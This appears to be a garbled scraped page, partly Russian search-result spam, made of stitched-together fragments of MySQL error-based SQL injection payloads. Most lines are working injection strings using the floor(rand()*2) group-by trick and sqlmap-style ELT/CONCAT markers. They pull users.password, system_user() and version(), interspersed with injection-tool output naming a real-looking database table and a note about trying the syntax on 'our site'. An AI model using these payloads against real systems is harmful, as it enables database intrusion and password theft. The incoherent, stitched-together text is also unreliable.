1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- Name_const(Mysql 5.0.12.
...And Select 1224 From Select Count Concat 0x7170787071 Select Elt 1224 1224 1 0x716a767171 Floor Rand 0 2 X From Information Schema Plugins Group By X A - Скачать mp3
Для вашего поискового запроса JnCE AND SELECT 1444 FROM SELECT COUNT CONCAT 0x7170787a71 SELECT ELT 1444 1444 1
...From Select Count Concat 0x71767a7671 Select Elt 9590 9590 1 0x71626a7171 Floor Rand 0 2 X From Information Schema Plugins Group
...CONCAT(0x7171787671,(SELECT (ELT(4663=4663,1))),0x7162786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
...CONCAT(0x717a6a7871,(SELECT (ELT(4670=4670,1))),0x716a6b7871,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
EDIT After removing my silly mistake of INTO (I was working with INSERTS and just keep going) the error below is showing. Still not working: …
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Имя хоста
Count(*) of u0021_kinovdom.orders is 0 Can not get rows count, trying to get 10 rows Turning off
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.